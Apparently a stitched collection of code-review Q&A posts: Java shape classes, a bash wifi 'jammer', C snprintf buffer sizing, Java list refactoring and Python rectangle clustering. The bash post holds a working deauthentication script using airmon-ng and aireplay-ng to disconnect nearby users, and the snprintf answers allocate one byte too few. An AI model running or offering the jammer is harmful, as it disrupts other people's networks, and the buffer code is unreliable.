    // TODO Auto-generated constructor stub
}

void Move(int x, int y) {
    X = x;
    Y = y;
}}
class Point extends Shape {
Point(int x, int y) {
    // super();
    Move(x, y);
}}

class Segment extends Shape {
Segment(int x, int y) {
    super();
    Move(x, y);
}}
class Square extends Shape {
int width = 10;

Square(int w, int x, int y) {
    super(x, y);
    width = w;
}

void changeSize(int w) {
    width = w;
} }

class Rectangle extends Square {
int height = 9;

Rectangle(int w, int h, int x, int y) {
    super(w, x, y);
    height = h;
}

void changeSize(int w, int h) {
    super.changeSize(w);
    height = h;
}}

class Triangle extends Rectangle {
int length = 7;

Triangle(int l, int w, int h) {
    super(w, h, w, h);
    length = l;
}

public int getLength() {
    return length;
}

public void setLength(int length) {
    if (length > 0) {
        this.length = length;
    } else {
        this.length = 5;
    }
}

void changeSize(int w, int l) {
    super.changeSize(w, l);
    length = l;
}}

Shape

A Shape is only an abstraction to unify different geometric constructs so my advice would be to make it an abstract class. (that is, a class that you cannot instantiate).

Point

Point as x and y coordinates. That's it. You have to decide if it inherits from Shape but from an OOP perspective I do agree with @simon-forsberg that it probably shouldn't.

Segment

Segment is defined by two Point and inherits from Shape.

Triangle

Triangle is three Point and inherits from Shape.

And you can keep doing that for Rectangle and Square, just being careful with how you set up your constructors. Every classes should extend Shape but Point.

Encapsulation

When you declare fields like x,y for Point, don't forget to give them a visibility modifier like private or protected (I assume you know what that means?) and then declare appropriate setter/getter.


Bob Marley is jamming on the wifi Bob is jamming it's way through the city deauthenticating people from thier wifi for a few seconds. First scanning all possible wifi-AP and then pretty printing them, afterwards you can choose a wifi to jam and it will perform a deauth for a few seconds attack using the airmon-ng framework.

This all works as intended but I'd like an intermediate review, before I try to add more functionality. This is one of my very first bash programs so please be gentle. As I'm unskilled in bash.

I wonder if I use the correct syntax in bash?
Further I think my scanning function is not all that good, I bet
there are more pretty ways to check.
Lastly maybe checking wifi's near me with airmodump-ng instead of
iwlist scanning would be a better way of handling this?

#!/bin/bash

# My global vars
declare -a mac=()
declare -a essid=()
declare -a channel=()
declare -a level=()

function scan {
    while read line; do
        # Reset variables on new network
        [[ "$line" =~ Cell || "$line" == "" ]] && {
            # If we already found one network then echo its information
            [[ "$network" != "" ]] && {
                # Update arrays & clear
                mac+=($m);essid+=($e);channel+=($chn);level+=($lvl)
                network=""
            }
        }
        [[ "$line" =~ Address ]] && {
            m=${line##*ss: }
        }
        [[ "$line" =~ Channel ]] && {
            chn=${line##*nel }
            chn=${chn:0:$((${#chn}-1))}
        }
        [[ "$line" =~ Quality ]] && {
            lvl=${line##*evel=}
            lvl=${lvl%% *}
        }

        # The ESSID is the last line of the basic data
        [[ "$line" =~ ESSID ]] && {
            e=${line##*ID:}
            network="finished reading"
        }
    done < <(iwlist wlan0 scanning)
}

# Printing the list of wifi's
function print {
    echo "--------------------------------------------------------"
    for i in "${!mac[@]}"; do
        echo "[$i] ${mac[$i]} ${essid[$i]} ${channel[$i]} ${level[$i]}"
    done
}

function jam {
    echo "--------------------------------------------------------"
    echo "Type the number of the wifi to jam"
    read i; echo "[$i] ${mac[$i]} ${essid[$i]} ${channel[$i]} ${level[$i]}"

    # Start jamming
    airmon-ng check kill
    airmon-ng start wlan0
    sleep(5)
    timeout 10 aireplay-ng -a ${mac[$i]} --channel ${channel[$i]} --deauth 0 wlan0mon
    airmon-ng stop wlan0mon
}

scan
print
jam

Nothing would make a reviewer happier than help you jam the networks of an innocent neighborhood. (sarcasm)

Mutually exclusive conditions

Can line match Address, Channel, etc at the same time? If not, then the multiple [[ ... ]] are needlessly evaluated, and it would be better to rewrite them using elifs:

    if [[ "$line" =~ Address ]]; then
        m=${line##*ss: }
    elif [[ "$line" =~ Channel ]]; then
        chn=${line##*nel }
        chn=${chn:0:$((${#chn}-1))}
    elif
        ...

Avoid multiple statements on a single line

Multiple statements on a single line like this can be hard to read:

mac+=($m);essid+=($e);channel+=($chn);level+=($lvl)

It's better to split this line to have just one statement per line.
That way the code will be nicely readable from top to bottom,
without having to carefully read sideways too.

Conditions on non-empty values

A non-empty string is falsy in Bash,
so instead of [[ "$network" != "" ]] you can write:

[[ "$network" ]]

Simpler parameter expansion

An easier way to chop off the last letter of a string is using parameter expansion:

chn=${chn%?}

Function declaration style

Instead of this:

function scan {

The recommended style to declare functions is this:

scan() {


Space to allocate before sprintf I just finished chasing a Heisenbug that was entirely my fault. I'd like to avoid it happening again.

I have a function which formats a date to a certain preset format. Turns out I was not allocating enough space:

char* FormatDate(DT dateTime)
{
    char* formattedDate;
    formattedDate = (char*)malloc(
      6 //That was my bug, I had 5. For the record, I forgot a comma, not the terminal null...
      + numlen(dateTime.Year)
      + numlen(dateTime.Month)
      + numlen(dateTime.Day)
      + numlen(dateTime.Hour)
      + numlen(dateTime.Minute)
      + numlen(dateTime.Second)
      );
      sprintf(formattedDate,"%d,%d,%d,%d,%d,%d", dateTime.Year, dateTime.Month, dateTime.Day, dateTime.Hour, dateTime.Minute, dateTime.Second);
    return formattedDate;
}

numlen calculates the number of characters the number would take if printed in "%d" format.

And yes, the calling function has the duty to free the response.

What I'd like to know is how to avoid having the hardcoded 6, which arguably could change. sprintf does return the numbers of characters written, but that's a lot like the chicken and the egg... Is there another approach with pre-allocating that's safe? And not, say allocate a space of 250 just to make sure anything fits.

It appears that if have access to the standard library version of snprintf you can do this:

char* FormatDate(DT dateTime)
{
      size_t needed = snprintf(NULL, 0,"%d,%d,%d,%d,%d,%d", dateTime.Year, dateTime.Month, dateTime.Day, dateTime.Hour, dateTime.Minute, dateTime.Second);
      char* formattedDate = (char*)malloc(needed);
      snprintf(formattedDate, needed,"%d,%d,%d,%d,%d,%d", dateTime.Year, dateTime.Month, dateTime.Day, dateTime.Hour, dateTime.Minute, dateTime.Second);
      return formattedDate;
}

Original source obtained from StackOverflow

char* get_error_message(char const *msg) {
    size_t needed = snprintf(NULL, 0, "%s: %s (%d)", msg, strerror(errno), errno);
    char  *buffer = malloc(needed);
    snprintf(buffer, needed, "%s: %s (%d)", msg, strerror(errno), errno);
    return buffer;
}

Copied from https://stackoverflow.com/questions/1775403/using-snprintf-to-avoid-buffer-overruns but duplicated to make finding answers quicker.


Sorting items in list based on position I wrote code which sorts items, based on parameters (IconConfiguration). I have a map of items which have index and item so basically a predefined list on which index item should be, and maxPositions parameter which is kind of a limit of how big my list can be. I wrote a code but its repetitive and pretty ugly when i check it, but i am unable to get idea on what to refactor.

private List<GWBaseData> applyItemsIndex(List<GWBaseData> gwInputBaseDataList) { //TODO: Refactor repetitive code?
        List<GWBaseData> gwBaseDataList = new ArrayList<>();

        if (iconConfiguration.getMax_positions() != -1) {
            for (int i = 0; i < gwInputBaseDataList.size(); i++) {
                if (gwBaseDataList.size() < iconConfiguration.getMax_positions()) {
                    if (getItemsMap().get(i) != null && getBaseDataInListById(gwInputBaseDataList, getItemsMap().get(i)) != null) {
                        gwBaseDataList.add(i, getBaseDataInListById(gwInputBaseDataList, getItemsMap().get(i)));
                    } else {
                        for (int j = 0; j < gwInputBaseDataList.size(); j++) {
                            if (!gwBaseDataList.contains(gwInputBaseDataList.get(j))) {
                                gwBaseDataList.add(gwInputBaseDataList.get(j));
                                break;
                            }
                        }
                    }
                }
            }
        } else {
            for (int i = 0; i < gwInputBaseDataList.size(); i++) {
                if (getItemsMap().get(i) != null && getBaseDataInListById(gwInputBaseDataList, getItemsMap().get(i)) != null) {
                    gwBaseDataList.add(i, getBaseDataInListById(gwInputBaseDataList, getItemsMap().get(i)));
                } else {
                    for (int j = 0; j < gwInputBaseDataList.size(); j++) {
                        if (!gwBaseDataList.contains(gwInputBaseDataList.get(j))) {
                            gwBaseDataList.add(gwInputBaseDataList.get(j));
                            break;
                        }
                    }
                }
            }
        }

        return gwBaseDataList;
    }

So basically the whole difference between both block is only  one additional if (if (gwBaseDataList.size() < iconConfiguration.getMax_positions()))

Add an extra local variable before the first loop:

int maxItems = iconConfiguration.getMax_positions();
if (maxItems == -1) {
    maxItems = gwInputBaseDataList.size();
}

This way if you didn't specify a max in the configuration you just use "all" input items.

You can go a little bit further as well and use this as the condition on the outer for loop:

for (int i = 0; i < maxItems; i++) {
    if (getItemsMap().get(i) != null && getBaseDataInListById(gwInputBaseDataList, getItemsMap().get(i)) != null) {
        gwBaseDataList.add(i, getBaseDataInListById(gwInputBaseDataList, getItemsMap().get(i)));
    } else {
        for (int j = 0; j < gwInputBaseDataList.size(); j++) {
            if (!gwBaseDataList.contains(gwInputBaseDataList.get(j))) {
                gwBaseDataList.add(gwInputBaseDataList.get(j));
                break;
            }
        }
    }
}
return gwBaseDataList;

I couldn't actually test this code, so make sure it's not off by 1 on the index when you try it yourself. And just to be safe test if this still actually does what you want it to do for all edge cases.

EDIT bugfix:

In case the max from the configuration is larger than the actual size you'll get an index out of bounds. Fixed by changing the if condition to the folowing:

if(maxItems == -1 || maxItems > gwInputBaseDataList.size()){


Averaging a list of intersecting rectangles I have a list of rectangles as tuples (x, y, w, h).  I need to find which ones intersect and if they do, average all the intersecting rectangles into a new rectangle. I also track the resultant averaged rectangle "weight" (the number of intersecting rectangles) as an addition member in the new tuple. (x, y, w, h, weight)

The final return is resultant list of averaged sorted by weight.

I am looking for feedback on how to improve performance and make it even more pythonic.  Or, as I have discovered many times in python, there may a completely different and better way to approach the problem (such as with NumPy).

I pass a list of rect tuples to ordered_average_intersecting_rects:

import numpy as np

def rects_intersect(r1, r2):
    hoverlaps = (r1[0] <= r2[0] + r2[2]) and (r1[0] + r1[2] >= r2[0])
    voverlaps = (r1[1] <= r2[1] + r2[3]) and (r1[1] + r1[3] >= r2[1])

    return hoverlaps and voverlaps

def average_rects(rects):
    x = np.average([coord[0] for coord in rects])
    y = np.average([coord[1] for coord in rects])
    w = np.average([coord[2] for coord in rects])
    h = np.average([coord[3] for coord in rects])

    return x, y, w, h, len(rects)

def ordered_average_intersecting_rects(rects):
    intersecting_rect_clusters = []

    while rects:  # modified from `while len(rect) > 0:` (janos feedback)
        r1 = rects[0]
        rect_cluster = [r1]

        for r2 in rects[1:]:
            if rects_intersect(r1, r2):
                rect_cluster.append(r2)
                rects.remove(r2)

        rects.remove(r1)
        intersecting_rect_clusters.append(rect_cluster)

    averaged_rects = [average_rects(cluster) for cluster in intersecting_rect_clusters]
    averaged_rects.sort(key=lambda w: w[4], reverse=True)

    return averaged_rects

Here is my unit test to help understand how the code is being used:

def test_ordered_average_intersecting_rects(self):

    # Arrange
    rects = [(150, 55, 40, 20, 0),
             (160, 40, 20, 20, 0),
             (100, 120, 20, 20, 0),
             (45, 10, 15, 30, 0),
             (50, 25, 25, 20, 0),
             (35, 35, 20, 30, 0)]

    # Act
    with test_helpers.Timer('average_intersecting_rects') as t:
        result = ordered_average_intersecting_rects(rects)

    # Assert
    assert len(result) == 3

    cluster1 = result[0]
    assert cluster1[4] == 3
    assert int(cluster1[0]) == 43
    assert int(cluster1[1]) == 23
    assert int(cluster1[2]) == 20
    assert int(cluster1[3]) == 26

    cluster2 = result[1]
    assert cluster2[4] == 2
    assert cluster2[0] == 155
    assert cluster2[1] == 47.5
    assert cluster2[2] == 30
    assert cluster2[3] == 20

    cluster3 = result[2]
    assert cluster3[4] == 1
    assert cluster3[0] == 100
    assert cluster3[1] == 120
    assert cluster3[2] == 20
    assert cluster3[3] == 20

To improve performance, wait for another review with some clever numpy trick.

To make it more Pythonic, it would be better to represent a rectangle with a Rectangle class instead of a simple tuple, for example:

class Rectangle(object):
    def __init__(self, x, y, width, height):
        self.x = x
        self.y = y
        self.width = width
        self.height = height

    def intersect(self, other):
        hoverlaps = (self.x <= other.x + other.width) and (self.x + self.width >= other.x)
        voverlaps = (self.y <= other.y + other.height) and (self.y + self.height >= other.y)

        return hoverlaps and voverlaps

The intersect method fits naturally into it, and now the code is easier to read.

The averaging method becomes:

def average_rects(rects):
    x = np.average([rect.x for rect in rects])
    y = np.average([rect.y for rect in rects])
    w = np.average([rect.width for rect in rects])
    h = np.average([rect.height for rect in rects])

    return x, y, w, h, len(rects)

The main part of ordered_average_intersecting_rects becomes:

while rects:
    r1 = rects[0]

    rect_cluster = [r1]

    for r2 in rects[1:]:
        if r1.intersect(r2):
            rect_cluster.append(r2)
            rects.remove(r2)

And in your testing method you can create rects with:

rects = [Rectangle(150, 55, 40, 20),
         Rectangle(160, 40, 20, 20),
         Rectangle(100, 120, 20, 20),
         Rectangle(45, 10, 15, 30),
         Rectangle(50, 25, 25, 20),
         Rectangle(35, 35, 20, 30)]

And of course you can (and should) go further:

average_rects could return a tuple: Rectangle(x, y, w, h), len(rects)
The assertions could use cluster1.x, .y, .width, instead of cryptic [0], [1], ...

You can replace while len(rects) > 0: with simply while rects:, because in Python empty sequences are false. This is recommended on PEP8 too.